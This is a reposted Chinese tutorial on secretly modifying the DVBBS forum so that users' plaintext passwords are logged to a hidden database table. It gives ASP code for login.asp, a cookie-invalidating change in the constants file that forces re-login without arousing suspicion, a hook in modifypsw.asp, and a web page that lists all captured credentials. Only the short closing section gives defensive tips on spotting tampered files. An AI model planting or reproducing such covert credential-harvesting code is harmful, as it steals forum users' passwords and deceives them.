手机
当前位置:查字典教程网 >实用技巧 >漏洞研究 >为动网论坛添加一个密码嗅探器(DVBBS)
为动网论坛添加一个密码嗅探器(DVBBS)
摘要:动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜。很多人都把它作为自己论坛的最佳首选。但是新版本的...

动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜。很多人都把它作为自己论坛的最佳首选。但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码。再数据库中只能查询了加密后的结果。

先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同。如果相同,登陆成功,将个人信息保存在COOKIE中。

现在我们要自己动手,为论坛增加一项记录密码的功能。

查看它登陆系统的文件login.asp的源文件。验证过程是直接调用chklogin()函数的。跟进chklogin()函数,可以看到前面几句是检查用户是否完整输入,接着就是:

password=md5(trim(checkStr(request("password"))))

就是这句调用了MD5加密函数,对用户提交的密码加密。我们要记录未加密的代码,就需要把自己的代码加到这一句的前面。先别急着写代码,因为我们要把密码存贮在数据库中,所以要先在数据库中假如我们自己的表。

打开动网的数据库文件,因为我们只要在这个表中保存两项内容:用户名和密码,所以打开“使用设计器创建表”,字段名称分别输入user,pass,数据类型为文本。然后保存表,取名为hacker。

下面我们就可以在ASP程序中使用SQL命令,把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句:

‘先查询数据库,检查该用户的密码是否已经被记录,以避免重复添加

setrs=conn.execute("selectuserfromhackerwhereuser="&request("username")&"")

ifrs.eofandrs.bofthen

‘如果没有,就把用户名和密码插入到我们刚才创建的表中

sql="insertintohacker(user,pass)values("&request("username")&","&request("password")&")"

conn.execute(sql)

rs.close

else

endif

通过上面的代码,用户每次登陆的时候,用户名和密码就都会被自动添加到我们创建的表hacker中去了。

但是,动网论坛还有个功能,就是可以利用COOKIE保存登陆信息一天,一个月,或者一年,这样就不用每次访问都要输入账号了,当然我们也不想让这一部分用户的密码漏掉,所以我们要想办法让它的COOKIE失效,这样他就必须通过我们修改过的文件登陆了。

动网论坛对COOKIE检查的代码是保存在INCconst.asp文件中的,我们打开查看它的源文件。

membername=checkStr(request.cookies("aspsky")("username"))

memberclass=checkStr(request.cookies("aspsky")("userclass"))

memberword=checkStr(request.cookies("aspsky")("password"))

[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的,我们只要改变任意一个变量,就可让它的登陆失效。我就在第二句后面添加了下面这几句代码:

‘检查用户的账号是否已经被记录,如果没有,修改它的密码变量为用户名

setrs=conn.execute("selectuserfromhackerwhereuser="&membername&"")

ifrs.eofandrs.bofthen

memberword=checkStr(request.cookies("aspsky")("username"))

rs.close

else

‘如果已经被记录了,COOKIE验证一切正常,这样也就不会因为COOKIE彻底失效而引起用户的怀疑

memberword=checkStr(request.cookies("aspsky")("password"))

endif

记录用户账号的代码我们基本上就完成了,只要用户一登陆,他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点,就是如果用户修改了密码,我们记录的密码就过期了,我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp

rs("userpassword")=password

rs("quesion")=quesion

rs("answer")=answer

rs.Update

上面这段代码就是更新密码的代码了。我们分析一下:只有用户登陆后才可以修改密码,既然登陆了,我们的数据库中就一定记录得他的密码,所以不管他密码改成什么,我们只需要更新一下我们的数据库就行了,所以在上面这四句代码前面,加上下面这两句:

[$nbsp][$nbsp]‘注意,这里我们之所以不用变量password,因为它是经过MD5加密的结果

sql="updatehackersetpass="&request("psw")&"whereuser="&membername&""

conn.execute(sql)

最后我们不可能每次打开数据库去查询用户的密码,所以我们还要自己写一个asp程序,用来通过WEB界面查询用户的密码。

下面是我自己写的asp代码,借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。

<>

<>

<%

‘动网用来模糊查询的函数translate()

publicfunctiontranslate(sourceStr,fieldStr)

[$nbsp][$nbsp]dimsourceList

[$nbsp][$nbsp]dimresultStr

[$nbsp][$nbsp]dimi,j

[$nbsp][$nbsp]ifinstr(sourceStr,"")>0then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dimisOperator

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]remResponse.Write"num:"&cstr(ubound(sourceList))&"<br>"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]fori=0toubound(sourceList)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]remResponse.Writei

[$nbsp][$nbsp][$nbsp][$nbsp]SelectCaseucase(sourceList(i))

[$nbsp][$nbsp][$nbsp][$nbsp]Case"AND","&","和","与"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&"and"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp]Case"OR","|","或"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&"or"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp]Case"NOT","!","非","!","!"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&"not"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp]Case"(","(","("

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&"("

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp]Case")",")",")"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&")"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=true

[$nbsp][$nbsp][$nbsp][$nbsp]CaseElse

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]ifsourceList(i)<>""then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]ifnotisOperatorthenresultStr=resultStr&"and"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]ifinStr(sourceList(i),"%")>0then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&""&fieldStr&"like"&replace(sourceList(i),"","")&""

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&""&fieldStr&"like%"&replace(sourceList(i),"","")&"%"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]endif

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]Endif

[$nbsp][$nbsp][$nbsp][$nbsp]EndSelect

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]remResponse.writeresultStr+"<br>"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr

[$nbsp][$nbsp]else单条件

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]ifinStr(sourcestr,"%")>0then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=""&fieldStr&"like"&replace(sourceStr,"","")&""

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else

[$nbsp][$nbsp][$nbsp][$nbsp]translate=""&fieldStr&"like%"&replace(sourceStr,"","")&"%"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]Endif

[$nbsp][$nbsp]endif

endfunction

%>

<%

‘检查是否使用模糊查询,如果是,查询数据库

ifrequest.form("id")<>""then

dimkey

key=request.form("id")

setrs=conn.execute("selectuser,passfromhackerwhere("&translate(key,"user")&")")

‘检查是否查询所有账号,如果是,查询所有记录

elseifrequest.querystring("id")<>"all"then

else

setrs=conn.execute("select*fromhacker")

endif

endif

%>

<divalign="center">

[$nbsp][$nbsp]<p><strong>查询密码</strong></p>

[$nbsp][$nbsp]<formname="form1"method="post"action="">

[$nbsp][$nbsp][$nbsp][$nbsp]用户名:

[$nbsp][$nbsp][$nbsp][$nbsp]<inputname="id"type="text"size="12">

[$nbsp][$nbsp][$nbsp][$nbsp]

[$nbsp][$nbsp][$nbsp][$nbsp]<inputtype="submit"name="Submit"value="搜索">

[$nbsp][$nbsp]</form>

[$nbsp][$nbsp]<p><ahref="test.asp?id=all">显示全部</a></p>

[$nbsp][$nbsp]<tablewidth="300"border="1"cellspacing="0"cellpadding="0">

<%

‘检查是否查询账号,如果没有显示请选择查询方式,否则显示结果

ifrequest.querystring("id")<>""orrequest.form("id")<>""then%><tr>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<tdwidth="150"><divalign="center">用户名</div></td>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<tdwidth="150"><divalign="center">密码</div></td>

[$nbsp][$nbsp][$nbsp][$nbsp]</tr>

<%Dowhile(notrs.eof)%><tr>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><%=rs("user")%></td>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><%=rs("pass")%></td>

[$nbsp][$nbsp][$nbsp][$nbsp]</tr>

[$nbsp][$nbsp]<%rs.MoveNext

[$nbsp][$nbsp]Loop

[$nbsp][$nbsp]rs.close

[$nbsp][$nbsp]else

[$nbsp][$nbsp]response.write("<tr><td><center>请选择查询方式</center></td></tr>")

[$nbsp][$nbsp]endif

[$nbsp][$nbsp]%>

[$nbsp][$nbsp]</table>

</div>

[$nbsp][$nbsp][$nbsp][$nbsp]

其它的一些思考:

如果服务器被黑客入侵,我们也必须防范论坛被修改,成为别人获取密码的工具,所以我们要考虑到黑客常用的手段。

首先是数据库,我们要随时检查数据库是否完整,而且要做到及时辈分。现在网络上流行一种把数据库后缀名改为asp,数据库中再加入一个不可删除的表,可以有效的防止数据库被别人下载。换一种角度来说,黑客很有可能把他自己的数据库文件后缀名改为asp,从而掩藏在众多的文件中。而一般没有经验的管理员是很难发现的,所以要定期对整个网站的文件进行检查,如果无故多出来的asp文件,很有可能是只背后的黑手。

黑客不仅可以放上自己的asp文件,聪明的黑客还会把自己的asp文件隐藏在已有的asp文件中。利用浏览器可以向asp文件传送querystring变量,如果asp中设定一个条件语句:ifquery.string(“变量”)=“”then……这个简单的方法可以说是防不胜防。一般的管理员由于数据库的便捷,是很少考虑到检查服务器上的文件是否被修改的。所以定期检查文件是否被修改也是非常有必要的。

【为动网论坛添加一个密码嗅探器(DVBBS)】相关文章:

最新的黑客技术:XSS跨站脚本攻击详细介绍

云网在线支付漏洞初探(图)

破解别人的asp木马密码的方法

Access的跨库查询 (图)

河南移动网络客服系统验证码的缺陷分析和利用!

也谈一个跨站的利用

IP Spoof技术介绍(IP 欺骗)

手机短信轰炸(图)

挂马代码 网页挂马分析

用asp记录论坛用户密码(dvbbs,leadbbs等)

精品推荐
分类导航